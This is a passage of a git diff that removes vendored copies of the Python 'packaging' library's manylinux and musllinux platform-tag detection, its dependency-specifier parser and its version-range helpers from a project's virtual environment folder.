lifetime of the process, since the presence - of the module does not change while running. - """ - try: - return __import__("_manylinux") - except ImportError: - return None - - -def _is_compatible(arch: str, version: _GLibCVersion) -> bool: - sys_glibc = _get_glibc_version() - if sys_glibc < version: - return False - # Check for presence of _manylinux module. - manylinux_mod = _get_manylinux_module() - if manylinux_mod is None: - return True - if hasattr(manylinux_mod, "manylinux_compatible"): - result = manylinux_mod.manylinux_compatible(version[0], version[1], arch) - if result is not None: - return bool(result) - return True - if version == _GLibCVersion(2, 5) and hasattr( - manylinux_mod, "manylinux1_compatible" - ): - return bool(manylinux_mod.manylinux1_compatible) - if version == _GLibCVersion(2, 12) and hasattr( - manylinux_mod, "manylinux2010_compatible" - ): - return bool(manylinux_mod.manylinux2010_compatible) - if version == _GLibCVersion(2, 17) and hasattr( - manylinux_mod, "manylinux2014_compatible" - ): - return bool(manylinux_mod.manylinux2014_compatible) - return True - - -_LEGACY_MANYLINUX_MAP: dict[_GLibCVersion, str] = { - # CentOS 7 w/ glibc 2.17 (PEP 599) - _GLibCVersion(2, 17): "manylinux2014", - # CentOS 6 w/ glibc 2.12 (PEP 571) - _GLibCVersion(2, 12): "manylinux2010", - # CentOS 5 w/ glibc 2.5 (PEP 513) - _GLibCVersion(2, 5): "manylinux1", -} - - -def platform_tags(archs: Sequence[str]) -> Iterator[str]: - """Generate manylinux tags compatible to the current platform. - - :param archs: Sequence of compatible architectures. - The first one shall be the closest to the actual architecture and be the part of - platform tag after the ``linux_`` prefix, e.g. ``x86_64``. - The ``linux_`` prefix is assumed as a prerequisite for the current platform to - be manylinux-compatible. - - :returns: An iterator of compatible manylinux tags. - """ - if not _have_compatible_abi(sys.executable, archs): - return - # Oldest glibc to be supported regardless of architecture is (2, 17). - too_old_glibc2 = _GLibCVersion(2, 16) - if set(archs) & {"x86_64", "i686"}: - # On x86/i686 also oldest glibc to be supported is (2, 5). - too_old_glibc2 = _GLibCVersion(2, 4) - current_glibc = _GLibCVersion(*_get_glibc_version()) - glibc_max_list = [current_glibc] - # We can assume compatibility across glibc major versions. - # https://sourceware.org/bugzilla/show_bug.cgi?id=24636 - # - # Build a list of maximum glibc versions so that we can - # output the canonical list of all glibc from current_glibc - # down to too_old_glibc2, including all intermediary versions. - for glibc_major in range(current_glibc.major - 1, 1, -1): - glibc_minor = _LAST_GLIBC_MINOR[glibc_major] - glibc_max_list.append(_GLibCVersion(glibc_major, glibc_minor)) - for arch in archs: - for glibc_max in glibc_max_list: - if glibc_max.major == too_old_glibc2.major: - min_minor = too_old_glibc2.minor - else: - # For other glibc major versions oldest supported is (x, 0). - min_minor = -1 - for glibc_minor in range(glibc_max.minor, min_minor, -1): - glibc_version = _GLibCVersion(glibc_max.major, glibc_minor) - if _is_compatible(arch, glibc_version): - yield "manylinux_{}_{}_{}".format(*glibc_version, arch) - - # Handle the legacy manylinux1, manylinux2010, manylinux2014 tags. - if legacy_tag := _LEGACY_MANYLINUX_MAP.get(glibc_version): - yield f"{legacy_tag}_{arch}" diff --git a/venv/Lib/site-packages/packaging/_musllinux.py b/venv/Lib/site-packages/packaging/_musllinux.py deleted file mode 100644 index 74c4136f535085c88902c00f506f0c4ccad67188..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/_musllinux.py +++ /dev/null @@ -1,88 +0,0 @@ -"""PEP 656 support. - -This module implements logic to detect if the currently running Python is -linked against musl, and what musl version is used. -""" - -from __future__ import annotations - -import functools -import re -import subprocess -import sys -from typing import TYPE_CHECKING, NamedTuple - -from ._elffile import ELFFile - -if TYPE_CHECKING: - from collections.abc import Iterator, Sequence - - -class _MuslVersion(NamedTuple): - major: int - minor: int - - -def _parse_musl_version(output: str) -> _MuslVersion | None: - lines = [n for n in (n.strip() for n in output.splitlines()) if n] - if len(lines) < 2 or lines[0][:4] != "musl": - return None - m = re.match(r"Version (\d+)\.(\d+)", lines[1]) - if not m: - return None - return _MuslVersion(major=int(m.group(1)), minor=int(m.group(2))) - - -@functools.lru_cache -def _get_musl_version(executable: str) -> _MuslVersion | None: - """Detect currently-running musl runtime version. - - This is done by checking the specified executable's dynamic linking - information, and invoking the loader to parse its output for a version - string. If the loader is musl, the output would be something like:: - - musl libc (x86_64) - Version 1.2.2 - Dynamic Program Loader - """ - try: - with open(executable, "rb") as f: - ld = ELFFile(f).interpreter - except (OSError, TypeError, ValueError): - return None - if ld is None or "musl" not in ld: - return None - proc = subprocess.run([ld], check=False, stderr=subprocess.PIPE, text=True) - return _parse_musl_version(proc.stderr) - - -def platform_tags(archs: Sequence[str]) -> Iterator[str]: - """Generate musllinux tags compatible to the current platform. - - :param archs: Sequence of compatible architectures. - The first one shall be the closest to the actual architecture and be the part of - platform tag after the ``linux_`` prefix, e.g. ``x86_64``. - The ``linux_`` prefix is assumed as a prerequisite for the current platform to - be musllinux-compatible. - - :returns: An iterator of compatible musllinux tags. - """ - sys_musl = _get_musl_version(sys.executable) - if sys_musl is None: # Python not dynamically linked against musl. - return - for arch in archs: - for minor in range(sys_musl.minor, -1, -1): - yield f"musllinux_{sys_musl.major}_{minor}_{arch}" - - -if __name__ == "__main__": # pragma: no cover - import sysconfig - - plat = sysconfig.get_platform() - assert plat.startswith("linux-"), "not linux" - - print("plat:", plat) - print("musl:", _get_musl_version(sys.executable)) - print("tags:", end=" ") - for t in platform_tags([re.sub(r"[.-]", "_", plat.split("-", 1)[-1])]): - print(t, end="\n ") diff --git a/venv/Lib/site-packages/packaging/_parser.py b/venv/Lib/site-packages/packaging/_parser.py deleted file mode 100644 index 9331b4b4c0120e8d09496ef3e4d4be876fb6c0f1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/_parser.py +++ /dev/null @@ -1,418 +0,0 @@ -"""Handwritten parser of dependency specifiers. - -The docstring for each __parse_* function contains EBNF-inspired grammar representing -the implementation. -""" - -from __future__ import annotations - -import ast -from collections.abc import Sequence -from typing import Literal, NamedTuple, Union - -from ._tokenizer import DEFAULT_RULES, ParserSyntaxError, Tokenizer - - -class Node: - __slots__ = ("value",) - - def __init__(self, value: str) -> None: - self.value = value - - def __str__(self) -> str: - return self.value - - def __repr__(self) -> str: - return f"<{self.__class__.__name__}({self.value!r})>" - - def serialize(self) -> str: - raise NotImplementedError - - def __getstate__(self) -> str: - # Return just the value string for compactness and stability. - return self.value - - def _restore_value(self, value: object) -> None: - if not isinstance(value, str): - raise TypeError( - f"Cannot restore {self.__class__.__name__} value from {value!r}" - ) - self.value = value - - def __setstate__(self, state: object) -> None: - if isinstance(state, str): - # New format (26.2+): just the value string. - self._restore_value(state) - return - if isinstance(state, tuple) and len(state) == 2: - # Old format (packaging <= 26.0, __slots__): (None, {slot: value}). - _, slot_dict = state - if isinstance(slot_dict, dict) and "value" in slot_dict: - self._restore_value(slot_dict["value"]) - return - if isinstance(state, dict) and "value" in state: - # Old format (packaging <= 25.0, no __slots__): plain __dict__. - self._restore_value(state["value"]) - return - raise TypeError(f"Cannot restore {self.__class__.__name__} from {state!r}") - - -class Variable(Node): - __slots__ = () - - def serialize(self) -> str: - return str(self) - - -class Value(Node): - __slots__ = () - - def serialize(self) -> str: - value = str(self) - if '"' not in value: - return f'"{value}"' - if "'" not in value: - return f"'{value}'" - raise ValueError( - "Cannot serialize marker value containing both quote characters" - ) - - -class Op(Node): - __slots__ = () - - def serialize(self) -> str: - return str(self) - - -MarkerLogical = Literal["and", "or"] -MarkerVar = Union[Variable, Value] -MarkerItem = tuple[MarkerVar, Op, MarkerVar] -MarkerAtom = Union[MarkerItem, Sequence["MarkerAtom"]] -MarkerList = list[Union["MarkerList", MarkerAtom, MarkerLogical]] - - -class ParsedRequirement(NamedTuple): - name: str - url: str - extras: list[str] - specifier: str - marker: MarkerList | None - - -# -------------------------------------------------------------------------------------- -# Recursive descent parser for dependency specifier -# -------------------------------------------------------------------------------------- -def parse_requirement(source: str) -> ParsedRequirement: - return _parse_requirement(Tokenizer(source, rules=DEFAULT_RULES)) - - -def _parse_requirement(tokenizer: Tokenizer) -> ParsedRequirement: - """ - requirement = WS? IDENTIFIER WS? extras WS? requirement_details - """ - tokenizer.consume("WS") - - name_token = tokenizer.expect( - "IDENTIFIER", expected="package name at the start of dependency specifier" - ) - name = name_token.text - tokenizer.consume("WS") - - extras = _parse_extras(tokenizer) - tokenizer.consume("WS") - - url, specifier, marker = _parse_requirement_details(tokenizer) - tokenizer.expect("END", expected="end of dependency specifier") - - return ParsedRequirement(name, url, extras, specifier, marker) - - -def _parse_requirement_details( - tokenizer: Tokenizer, -) -> tuple[str, str, MarkerList | None]: - """ - requirement_details = AT URL (WS requirement_marker?)? - | specifier WS? (requirement_marker)? - """ - - specifier = "" - url = "" - marker = None - - if tokenizer.check("AT"): - tokenizer.read() - tokenizer.consume("WS") - - url_start = tokenizer.position - url = tokenizer.expect("URL", expected="URL after @").text - if tokenizer.check("END", peek=True): - return (url, specifier, marker) - - tokenizer.expect("WS", expected="whitespace after URL") - - # The input might end after whitespace. - if tokenizer.check("END", peek=True): - return (url, specifier, marker) - - marker = _parse_requirement_marker( - tokenizer, - span_start=url_start, - expected="semicolon (after URL and whitespace)", - ) - else: - specifier_start = tokenizer.position - specifier = _parse_specifier(tokenizer) - tokenizer.consume("WS") - - if tokenizer.check("END", peek=True): - return (url, specifier, marker) - - marker = _parse_requirement_marker( - tokenizer, - span_start=specifier_start, - expected=( - "comma (within version specifier), semicolon (after version specifier)" - if specifier - else "semicolon (after name with no version specifier)" - ), - ) - - return (url, specifier, marker) - - -def _parse_requirement_marker( - tokenizer: Tokenizer, *, span_start: int, expected: str -) -> MarkerList: - """ - requirement_marker = SEMICOLON marker WS? - """ - - if not tokenizer.check("SEMICOLON"): - tokenizer.raise_syntax_error( - f"Expected {expected} or end", - span_start=span_start, - span_end=None, - ) - tokenizer.read() - - marker = _parse_marker(tokenizer) - tokenizer.consume("WS") - - return marker - - -def _parse_extras(tokenizer: Tokenizer) -> list[str]: - """ - extras = (LEFT_BRACKET wsp* extras_list? wsp* RIGHT_BRACKET)? - """ - if not tokenizer.check("LEFT_BRACKET", peek=True): - return [] - - with tokenizer.enclosing_tokens( - "LEFT_BRACKET", - "RIGHT_BRACKET", - around="extras", - ): - tokenizer.consume("WS") - extras = _parse_extras_list(tokenizer) - tokenizer.consume("WS") - - return extras - - -def _parse_extras_list(tokenizer: Tokenizer) -> list[str]: - """ - extras_list = identifier (wsp* ',' wsp* identifier)* - """ - extras: list[str] = [] - - if not tokenizer.check("IDENTIFIER"): - return extras - - extras.append(tokenizer.read().text) - - while True: - tokenizer.consume("WS") - if tokenizer.check("IDENTIFIER", peek=True): - tokenizer.raise_syntax_error("Expected comma between extra names") - elif not tokenizer.check("COMMA"): - break - - tokenizer.read() - tokenizer.consume("WS") - - extra_token = tokenizer.expect("IDENTIFIER", expected="extra name after comma") - extras.append(extra_token.text) - - return extras - - -def _parse_specifier(tokenizer: Tokenizer) -> str: - """ - specifier = LEFT_PARENTHESIS WS? version_many WS? RIGHT_PARENTHESIS - | WS? version_many WS? - """ - with tokenizer.enclosing_tokens( - "LEFT_PARENTHESIS", - "RIGHT_PARENTHESIS", - around="version specifier", - ): - tokenizer.consume("WS") - parsed_specifiers = _parse_version_many(tokenizer) - tokenizer.consume("WS") - - return parsed_specifiers - - -def _parse_version_many(tokenizer: Tokenizer) -> str: - """ - version_many = (SPECIFIER (WS? COMMA WS? SPECIFIER)*)? - """ - parsed_specifiers = "" - while tokenizer.check("SPECIFIER"): - span_start = tokenizer.position - specifier = tokenizer.read().text - parsed_specifiers += specifier - if tokenizer.check("VERSION_PREFIX_TRAIL", peek=True): - message = ".* suffix can only be used with `==` or `!=` operators" - if specifier.startswith("!=") or ( - specifier.startswith("==") and not specifier.startswith("===") - ): - message = ( - ".* suffix cannot be used with pre-release, post-release, " - "dev or local versions" - ) - tokenizer.raise_syntax_error( - message, - span_start=span_start, - span_end=tokenizer.position + 1, - ) - if tokenizer.check("VERSION_LOCAL_LABEL_TRAIL", peek=True): - tokenizer.raise_syntax_error( - "Local version label can only be used with `==` or `!=` operators", - span_start=span_start, - span_end=tokenizer.position, - ) - tokenizer.consume("WS") - if not tokenizer.check("COMMA"): - break - parsed_specifiers += tokenizer.read().text - tokenizer.consume("WS") - - return parsed_specifiers - - -# -------------------------------------------------------------------------------------- -# Recursive descent parser for marker expression -# -------------------------------------------------------------------------------------- -def parse_marker(source: str) -> MarkerList: - return _parse_full_marker(Tokenizer(source, rules=DEFAULT_RULES)) - - -def _parse_full_marker(tokenizer: Tokenizer) -> MarkerList: - retval = _parse_marker(tokenizer) - tokenizer.expect("END", expected="end of marker expression") - return retval - - -def _parse_marker(tokenizer: Tokenizer) -> MarkerList: - """ - marker = marker_atom (BOOLOP marker_atom)+ - """ - expression = [_parse_marker_atom(tokenizer)] - while tokenizer.check("BOOLOP"): - token = tokenizer.read() - expr_right = _parse_marker_atom(tokenizer) - expression.extend((token.text, expr_right)) - return expression - - -def _parse_marker_atom(tokenizer: Tokenizer) -> MarkerAtom: - """ - marker_atom = WS? LEFT_PARENTHESIS WS? marker WS? RIGHT_PARENTHESIS WS? - | WS? marker_item WS? - """ - - tokenizer.consume("WS") - if tokenizer.check("LEFT_PARENTHESIS", peek=True): - with tokenizer.enclosing_tokens( - "LEFT_PARENTHESIS", - "RIGHT_PARENTHESIS", - around="marker expression", - ): - tokenizer.consume("WS") - marker: MarkerAtom = _parse_marker(tokenizer) - tokenizer.consume("WS") - else: - marker = _parse_marker_item(tokenizer) - tokenizer.consume("WS") - return marker - - -def _parse_marker_item(tokenizer: Tokenizer) -> MarkerItem: - """ - marker_item = WS? marker_var WS? marker_op WS? marker_var WS? - """ - tokenizer.consume("WS") - marker_var_left = _parse_marker_var(tokenizer) - tokenizer.consume("WS") - marker_op = _parse_marker_op(tokenizer) - tokenizer.consume("WS") - marker_var_right = _parse_marker_var(tokenizer) - tokenizer.consume("WS") - return (marker_var_left, marker_op, marker_var_right) - - -def _parse_marker_var(tokenizer: Tokenizer) -> MarkerVar: # noqa: RET503 - """ - marker_var = VARIABLE | QUOTED_STRING - """ - if tokenizer.check("VARIABLE"): - return process_env_var(tokenizer.read().text.replace(".", "_")) - elif tokenizer.check("QUOTED_STRING"): - token = tokenizer.read() - try: - return process_python_str(token.text) - except (SyntaxError, ValueError) as exc: - raise ParserSyntaxError( - "Invalid quoted string", - source=tokenizer.source, - span=(token.position, token.position + len(token.text)), - ) from exc - else: - tokenizer.raise_syntax_error( - message="Expected a marker variable or quoted string" - ) - - -def process_env_var(env_var: str) -> Variable: - if env_var in ("platform_python_implementation", "python_implementation"): - return Variable("platform_python_implementation") - else: - return Variable(env_var) - - -def process_python_str(python_str: str) -> Value: - value = ast.literal_eval(python_str) - return Value(str(value)) - - -def _parse_marker_op(tokenizer: Tokenizer) -> Op: - """ - marker_op = IN | NOT IN | OP - """ - if tokenizer.check("IN"): - tokenizer.read() - return Op("in") - elif tokenizer.check("NOT"): - tokenizer.read() - tokenizer.expect("WS", expected="whitespace after 'not'") - tokenizer.expect("IN", expected="'in' after 'not'") - return Op("not in") - elif tokenizer.check("OP"): - return Op(tokenizer.read().text) - else: - return tokenizer.raise_syntax_error( - "Expected marker operator, one of <=, <, !=, ==, >=, >, ~=, ===, in, not in" - ) diff --git a/venv/Lib/site-packages/packaging/_ranges.py b/venv/Lib/site-packages/packaging/_ranges.py deleted file mode 100644 index 5370ec87e61881a9f290d5764411328366b46dbf..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/_ranges.py +++ /dev/null @@ -1,836 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. -"""Private version-range helpers used by :mod:`packaging.specifiers`.""" - -from __future__ import annotations - -import enum -import functools -from typing import ( - TYPE_CHECKING, - Any, - Final, -) - -from .version import InvalidVersion, Version - -if TYPE_CHECKING: - from collections.abc import Callable, Iterable, Iterator, Sequence - from typing import Union - - # Total-order key for comparing two boundaries (boundary-vs-boundary only). - # The post slot may be ``_BOUNDARY_INF`` for an AFTER_POSTS boundary. - _BoundaryOrderSuffix = tuple[int, int, int, Union[int, float], int, int] - _BoundaryOrderKey = tuple[int, tuple[int, ...], _BoundaryOrderSuffix, float] - -__all__ = [ - "FULL_RANGE", - "bounds_for_spec", - "coerce_version", - "filter_by_ranges", - "intersect_ranges", - "intersect_specifier_bounds", - "least_version_above", - "matches_bounds_only", - "range_is_empty", - "ranges_are_prerelease_only", - "resolve_prereleases", - "standard_ranges", - "wildcard_ranges", -] - -#: The smallest possible PEP 440 version. No valid version is less than this. -MIN_VERSION: Final[Version] = Version("0.dev0") - -#: The smallest non-pre-release version, i.e. the nearest non-pre-release at or -#: above the ``-inf`` floor. -MIN_RELEASE: Final[Version] = Version("0") - -#: Sorts above any real post number and any local label, so a boundary can be -#: ordered above the version family it covers when two boundaries are compared. -_BOUNDARY_INF: Final[float] = float("inf") - - -class BoundaryKind(enum.Enum): - """Where a boundary marker sits in the version ordering.""" - - AFTER_LOCALS = enum.auto() # after V+local, before V.post0 - AFTER_POSTS = enum.auto() # after V.postN, before next release - - -@functools.total_ordering -class BoundaryVersion: - """A point on the version line between two real PEP 440 versions. - - Relative to a base version V:: - - V < V+local < AFTER_LOCALS(V) < V.post0 < AFTER_POSTS(V) - - AFTER_LOCALS is the upper bound of ``<=V``, ``==V``, ``!=V`` (no - local), and the lower bound of the upper-side range of ``!=V``. - AFTER_POSTS is the lower bound of ``>V`` (V final or pre-release), - excluding V's post-releases per PEP 440. - """ - - __slots__ = ( - "_cached_dev", - "_cached_epoch", - "_cached_post", - "_cached_pre", - "_cached_trimmed_release", - "kind", - "version", - ) - - def __init__(self, version: Version, kind: BoundaryKind) -> None: - self.version = version - self.kind = kind - self._cached_trimmed_release = trim_release(version.release) - self._cached_epoch = version.epoch - self._cached_pre = version.pre - self._cached_post = version.post - self._cached_dev = version.dev - - def _is_family(self, other: Version) -> bool: - """Is ``other`` a version that this boundary sorts above?""" - if other.epoch != self._cached_epoch: - return False - # Inline release-trim comparison: other.release matches the - # trimmed release iff its leading slice is equal and any extra - # components are zero. Avoids trim_release's tuple allocation. - other_release = other.release - trimmed_release = self._cached_trimmed_release - trimmed_length = len(trimmed_release) - if len(other_release) < trimmed_length: - return False - if other_release[:trimmed_length] != trimmed_release: - return False - for i in range(trimmed_length, len(other_release)): - if other_release[i] != 0: - return False - if other.pre != self._cached_pre: - return False - if self.kind == BoundaryKind.AFTER_LOCALS: - # Local family: same public version, any local label. - return other.post == self._cached_post and other.dev == self._cached_dev - # Post family: V itself + any post-release of V. - return other.dev == self._cached_dev or other.post is not None - - def _order_key(self) -> _BoundaryOrderKey: - """Sort key placing this boundary just above the versions it covers. - - It extends ``V``'s comparison key ``(epoch, release, suffix)`` with - a trailing ``_BOUNDARY_INF`` local component, so the key sorts after - ``V`` and every ``V+local`` (whose keys carry a real, finite local - segment). ``suffix`` is the 6-int comparison suffix - ``(pre_rank, pre_n, post_rank, post_n, dev_rank, dev_n)``. - - For an AFTER_POSTS boundary the suffix is replaced with one whose - post number is ``_BOUNDARY_INF``, so the key also sorts after every - ``V.postN``. An AFTER_LOCALS boundary uses ``V``'s suffix unchanged. - """ - version_key = self.version._key - suffix: _BoundaryOrderSuffix = version_key[2] - - if self.kind == BoundaryKind.AFTER_POSTS: - suffix = (suffix[0], suffix[1], 1, _BOUNDARY_INF, 1, 0) - - return version_key[0], version_key[1], suffix, _BOUNDARY_INF - - def __eq__(self, other: object) -> bool: - # Key off the order key so equality matches the ``<`` / ``>`` order: - # ``AFTER_POSTS(1.0)`` and ``AFTER_POSTS(1.0.post1)`` are the same point. - if isinstance(other, BoundaryVersion): - return self._order_key() == other._order_key() - return NotImplemented - - def __lt__(self, other: BoundaryVersion | Version) -> bool: - if isinstance(other, BoundaryVersion): - return self._order_key() < other._order_key() - # boundary < other_version iff V < other AND other not in family. - # The cheap V >= other path short-circuits before the family check. - if not (self.version < other): - return False - return not self._is_family(other) - - def __gt__(self, other: BoundaryVersion | Version) -> bool: - # Defined directly to bypass functools.total_ordering's - # NotImplemented round-trip on reflected ``Version < boundary``. - if isinstance(other, BoundaryVersion): - return self._order_key() > other._order_key() - if self.version >= other: - return True - return self._is_family(other) - - def __hash__(self) -> int: - # Keyed to ``__eq__`` (the order key), so equal boundaries hash equal. - return hash(self._order_key()) - - def __repr__(self) -> str: - return f"{self.__class__.__name__}({self.version!r}, {self.kind.name})" - - -if TYPE_CHECKING: - _VersionOrBoundary = Union[Version, BoundaryVersion, None] - - -@functools.total_ordering -class LowerBound: - """Lower bound of a version range. - - A version *v* of ``None`` means unbounded below (-inf). - At equal versions, ``[v`` sorts before ``(v`` because an inclusive - bound starts earlier. - """ - - __slots__ = ("_above", "inclusive", "version") - - def __init__(self, version: _VersionOrBoundary, inclusive: bool) -> None: - self.version = version - self.inclusive = inclusive - # Pre-bind a predicate "is parsed at or above this lower - # bound?" for the hot filter / contains loops. One direct - # call per check, no operator-dispatch chain. - if version is None: - self._above: Callable[[Version], bool] | None = None - elif isinstance(version, BoundaryVersion): - # >V produces an AFTER_POSTS lower bound; the upper-side - # range of !=V produces an AFTER_LOCALS lower bound. - if version.kind == BoundaryKind.AFTER_POSTS: - self._above = _make_above_after_posts(version.version) - else: - self._above = _make_above_after_locals(version.version) - elif inclusive: - self._above = version.__le__ - else: - self._above = version.__lt__ - - def __eq__(self, other: object) -> bool: - if not isinstance(other, LowerBound): - return NotImplemented - return self.version == other.version and self.inclusive == other.inclusive - - def __lt__(self, other: LowerBound) -> bool: - if not isinstance(other, LowerBound): - return NotImplemented - # -inf < anything (except -inf itself). - if self.version is None: - return other.version is not None - if other.version is None: - return False - if self.version != other.version: - return self.version < other.version - # [v < (v: inclusive starts earlier. - return self.inclusive and not other.inclusive - - def __hash__(self) -> int: - return hash((self.version, self.inclusive)) - - def __repr__(self) -> str: - bracket = "[" if self.inclusive else "(" - return f"<{self.__class__.__name__} {bracket}{self.version!r}>" - - -@functools.total_ordering -class UpperBound: - """Upper bound of a version range. - - A version *v* of ``None`` means unbounded above (+inf). - At equal versions, ``v)`` sorts before ``v]`` because an exclusive - bound ends earlier. - """ - - __slots__ = ("_below", "inclusive", "version") - - def __init__(self, version: _VersionOrBoundary, inclusive: bool) -> None: - self.version = version - self.inclusive = inclusive - # Pre-bind a predicate "is parsed at or below this upper - # bound?". See LowerBound for the rationale. - if version is None: - self._below: Callable[[Version], bool] | None = None - elif isinstance(version, BoundaryVersion): - # Standard specifiers only ever produce AFTER_LOCALS upper - # bounds (from <=V / ==V / !=V with no local). - if version.kind == BoundaryKind.AFTER_LOCALS: - self._below = _make_below_after_locals(version.version) - else: - # An AFTER_POSTS upper is not produced by any specifier, but - # range algebra reaches it: complementing ``>V`` flips the - # ``AFTER_POSTS(V)`` lower into this upper bound. - self._below = version.__ge__ - elif inclusive: - self._below = version.__ge__ - else: - self._below = version.__gt__ - - def __eq__(self, other: object) -> bool: - if not isinstance(other, UpperBound): - return NotImplemented - return self.version == other.version and self.inclusive == other.inclusive - - def __lt__(self, other: UpperBound) -> bool: - if not isinstance(other, UpperBound): - return NotImplemented - # Nothing < +inf (except +inf itself). - if self.version is None: - return False - if other.version is None: - return True - if self.version != other.version: - return self.version < other.version - # v) < v]: exclusive ends earlier. - return not self.inclusive and other.inclusive - - def __hash__(self) -> int: - return hash((self.version, self.inclusive)) - - def __repr__(self) -> str: - bracket = "]" if self.inclusive else ")" - return f"<{self.__class__.__name__} {self.version!r}{bracket}>" - - -if TYPE_CHECKING: - #: A single contiguous interval as a (lower, upper) bound pair. - Interval = tuple[LowerBound, UpperBound] - - -NEG_INF: Final[LowerBound] = LowerBound(None, False) -POS_INF: Final[UpperBound] = UpperBound(None, False) -FULL_RANGE: Final[tuple[Interval]] = ((NEG_INF, POS_INF),) - - -def trim_release(release: tuple[int, ...]) -> tuple[int, ...]: - """Strip trailing zeros from a release tuple for normalized comparison.""" - end = len(release) - while end > 1 and release[end - 1] == 0: - end -= 1 - return release if end == len(release) else release[:end] - - -def _next_prefix_dev0(version: Version) -> Version: - """Smallest version in the next prefix: 1.2 -> 1.3.dev0.""" - release = (*version.release[:-1], version.release[-1] + 1) - return Version.from_parts(epoch=version.epoch, release=release, dev=0) - - -def _base_dev0(version: Version) -> Version: - """The .dev0 of a version's base release: 1.2 -> 1.2.dev0.""" - return Version.from_parts(epoch=version.epoch, release=version.release, dev=0) - - -def coerce_version(version: Version | str) -> Version | None: - if not isinstance(version, Version): - try: - version = Version(version) - except InvalidVersion: - return None - return version - - -def _make_above_after_posts(version: Version) -> Callable[[Version], bool]: - """Predicate ``parsed > AFTER_POSTS(V)`` for a lower bound. - - Per PEP 440, ``>V`` excludes V's post-releases unless V is itself - a post-release. AFTER_POSTS sits above V and every V.postN (with - or without local), and just below the next release. - """ - version_ge = version.__ge__ - version_epoch = version.epoch - version_pre = version.pre - version_release_trimmed = trim_release(version.release) - trimmed_length = len(version_release_trimmed) - - def above(parsed: Version) -> bool: - if version_ge(parsed): - return False - # parsed > V cmpkey-wise: above the boundary iff NOT in V's - # post family. - if parsed.epoch != version_epoch: - return True - parsed_release = parsed.release - if len(parsed_release) < trimmed_length: - return True - if parsed_release[:trimmed_length] != version_release_trimmed: - return True - for i in range(trimmed_length, len(parsed_release)): - if parsed_release[i] != 0: - return True - if parsed.pre != version_pre: - return True - - # Same release and pre as V: parsed is in V's post family (V itself, - # V+local, or V.postN), which the boundary sits above. A V.devN - # (different dev, no post) sorts before V and was already caught by - # ``version_ge`` above, so the answer here is always "not above". - return False - - return above - - -def _make_above_after_locals(version: Version) -> Callable[[Version], bool]: - """Predicate ``parsed > AFTER_LOCALS(V)`` for a lower bound. - - Used by the upper-side range of ``!=V`` (when V has no local - segment). AFTER_LOCALS sits above V and every ``V+local`` but - just below ``V.post0``. - """ - version_ge = version.__ge__ - version_epoch = version.epoch - version_pre = version.pre - version_post = version.post - version_dev = version.dev - version_release_trimmed = trim_release(version.release) - trimmed_length = len(version_release_trimmed) - - def above(parsed: Version) -> bool: - if version_ge(parsed): - return False - # parsed > V cmpkey-wise: above the boundary iff NOT in V's - # local family (same public version, any local segment). - if parsed.epoch != version_epoch: - return True - parsed_release = parsed.release - if len(parsed_release) < trimmed_length: - return True - if parsed_release[:trimmed_length] != version_release_trimmed: - return True - for i in range(trimmed_length, len(parsed_release)): - if parsed_release[i] != 0: - return True - if parsed.pre != version_pre: - return True - if parsed.post != version_post: - return True - return parsed.dev != version_dev - - return above - - -def _make_below_after_locals(version: Version) -> Callable[[Version], bool]: - """Predicate ``parsed <= AFTER_LOCALS(V)`` for an upper bound. - - Used by ``<=V``, ``==V``, ``!=V`` (no local). ``parsed`` is at or - below the boundary when it is at or below V cmpkey-wise, or when - it is in V's local family. - """ - version_ge = version.__ge__ - version_epoch = version.epoch - version_pre = version.pre - version_post = version.post - version_dev = version.dev - version_release_trimmed = trim_release(version.release) - trimmed_length = len(version_release_trimmed) - - def below(parsed: Version) -> bool: - if version_ge(parsed): - return True - # parsed > V cmpkey-wise: below the boundary iff in V's local - # family. - if parsed.epoch != version_epoch: - return False - parsed_release = parsed.release - if len(parsed_release) < trimmed_length: - return False - if parsed_release[:trimmed_length] != version_release_trimmed: - return False - for i in range(trimmed_length, len(parsed_release)): - if parsed_release[i] != 0: - return False - if parsed.pre != version_pre: - return False - if parsed.post != version_post: - return False - return parsed.dev == version_dev - - return below - - -def least_version_above(boundary: BoundaryVersion) -> Version | None: - """Smallest real version strictly above *boundary*, or ``None`` if none exists.""" - base = boundary.version - - if boundary.kind == BoundaryKind.AFTER_LOCALS: - # AFTER_LOCALS(V) sits just below V.post0, so its least successor is - # V.post0.dev0 (V.dev(N+1) if V has a dev, V.post(N+1).dev0 if a post). - if base.dev is not None: - return base.__replace__(dev=base.dev + 1, local=None) - next_post = (base.post + 1) if base.post is not None else 0 - return base.__replace__(post=next_post, dev=0, local=None) - - # AFTER_POSTS(V): a pre-release V steps to the next pre-release's .dev0; - # a final-release AFTER_POSTS has no least successor. - if base.pre is not None: - kind, number = base.pre - return base.__replace__(pre=(kind, number + 1), post=None, dev=0, local=None) - - return None - - -def range_is_empty(lower: LowerBound, upper: UpperBound) -> bool: - """True when the range defined by *lower* and *upper* contains no versions. - - A boundary lower sits just below the next real version, so an ordered pair - is still empty when the upper excludes that least successor: - ``(AFTER_POSTS(1.0a1), 1.0a2.dev0)`` holds no version. - """ - if upper.version is None: - return False - - if lower.version is None: - # Nothing sorts below MIN_VERSION, so an exclusive upper at or below it - # leaves an empty floor interval such as ``(-inf, 0.dev0)``. - return ( - not upper.inclusive - and isinstance(upper.version, Version) - and upper.version <= MIN_VERSION - ) - - if isinstance(lower.version, BoundaryVersion): - successor = least_version_above(lower.version) - if successor is not None: - if upper.version == successor: - return not upper.inclusive - return upper.version < successor - - if lower.version == upper.version: - return not (lower.inclusive and upper.inclusive) - - return lower.version > upper.version - - -def intersect_ranges( - left: Sequence[Interval], - right: Sequence[Interval], -) -> list[Interval]: - """Intersect two sorted, non-overlapping range lists (two-pointer merge).""" - result: list[Interval] = [] - left_index = right_index = 0 - while left_index < len(left) and right_index < len(right): - left_lower, left_upper = left[left_index] - right_lower, right_upper = right[right_index] - - lower = max(left_lower, right_lower) - upper = min(left_upper, right_upper) - - if not range_is_empty(lower, upper): - result.append((lower, upper)) - - # Advance whichever side has the smaller upper bound. - if left_upper < right_upper: - left_index += 1 - else: - right_index += 1 - - return result - - -def filter_by_ranges( - ranges: Sequence[Interval], - iterable: Iterable[Any], - key: Callable[[Any], Version | str] | None, - prereleases: bool | None, - region: Sequence[Interval] = (), -) -> Iterator[Any]: - """Filter *iterable* against 